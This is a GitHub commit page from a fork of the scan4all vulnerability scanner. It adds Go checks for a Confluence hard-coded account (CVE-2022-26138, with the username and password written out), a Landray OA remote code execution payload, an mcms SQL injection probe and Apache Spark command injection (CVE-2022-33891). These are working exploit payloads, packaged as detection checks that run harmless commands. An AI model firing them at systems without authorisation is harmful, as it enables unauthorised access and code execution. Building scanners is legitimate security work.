forked from GhostTroops/scan4all
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
285 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,20 @@ | ||
| package confluence | ||
|
|
||
| import ( | ||
| "github.com/hktalent/scan4all/lib/util" | ||
| ) | ||
|
|
||
| //author:penson 硬编码添加用户 | ||
|
|
||
| func CVE_2022_26138(u string) bool { | ||
| headers := make(map[string]string, 0) | ||
| headers["Content-Type"] = "application/x-www-form-urlencoded" | ||
| if req, err := util.HttpRequset(u+"/dologin.action", "POST", "os_username=disabledsystemuser&os_password=disabled1system1user6708&login=%E7%99%BB%E5%BD%95&os_destination=", false, headers); err == nil { | ||
| if req.StatusCode == 302 && req.Header.Get("X-Seraph-LoginReason") == "OK" { | ||
| util.SendLog(req.RequestUrl, "CVE_2022_26138", "Found Confluence ", "") | ||
| } | ||
|
|
||
| return true | ||
| } | ||
| return false | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,18 @@ | ||
| package landray | ||
|
|
||
| import ( | ||
| "github.com/hktalent/scan4all/lib/util" | ||
| "strings" | ||
| ) | ||
|
|
||
| func Landray_RCE(u string) bool { | ||
| payload := "s_bean=sysFormulaSimulateByJS&script=function%20test(){return%20java.lang.Runtime};r=test();r.getRuntime().exec(\"echo%20yes\")&type=1" | ||
| if resp, err := util.HttpRequset(u+"/data/sys-common/datajson.js?"+payload, "GET", "", false, nil); err == nil { | ||
| if strings.Contains(resp.Body, "模拟通过") { | ||
| util.SendLog(resp.RequestUrl, "Landray_RCE", "Found vuln Landray OA RCE", payload) | ||
| return true | ||
| } | ||
| } | ||
|
|
||
| return false | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,20 @@ | ||
| package mcms | ||
|
|
||
| import ( | ||
| "fmt" | ||
| "github.com/hktalent/scan4all/lib/util" | ||
|
|
||
| "strings" | ||
| ) | ||
|
|
||
| //mcms 5.2.7 /cms/content/list | ||
| func Front_Sql_inject(u string) bool { | ||
| if req, err := util.HttpRequset(u+"/cms/content/list", "POST", "categoryId=1'", false, nil); err == nil { | ||
| if strings.Contains(req.Body, "error in your SQL") { | ||
| util.SendLog(req.RequestUrl, "mcms_sql_inject", fmt.Sprintf("Found mcms_sql_inject|\"%s\"\n", u+"/cms/content/list|POST:categoryId"), "") | ||
| return true | ||
| } | ||
| } | ||
|
|
||
| return false | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,4 +1,4 @@ | ||
| package seeyon | ||
|
|
||
| //'A6 test.jsp SQL注入漏洞' | ||
| //'A6 testnmanp.jsp SQL注入漏洞' | ||
| //'A6 setextno.jsp SQL注入漏洞' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,21 @@ | ||
| package spark | ||
|
|
||
| import ( | ||
| "fmt" | ||
| "github.com/hktalent/scan4all/lib/util" | ||
| "time" | ||
| ) | ||
|
|
||
| func CVE_2022_33891(u string) bool { | ||
| if util.CeyeApi != "" && util.CeyeDomain != "" { | ||
| randomstr := util.RandomStr() | ||
| payload := fmt.Sprintf("doAs=`ping%%20%s`", randomstr+"."+util.CeyeDomain) | ||
| req, _ := util.HttpRequset(u+"/jobs/?"+payload, "GET", "", false, nil) | ||
| time.Sleep(3 * time.Second) | ||
| if util.Dnslogchek(randomstr) { | ||
| util.SendLog(req.RequestUrl, "CVE_2022_33891", "Found vuln Apache Spark CVE_2022_33891", payload) | ||
| return true | ||
| } | ||
| } | ||
| return false | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.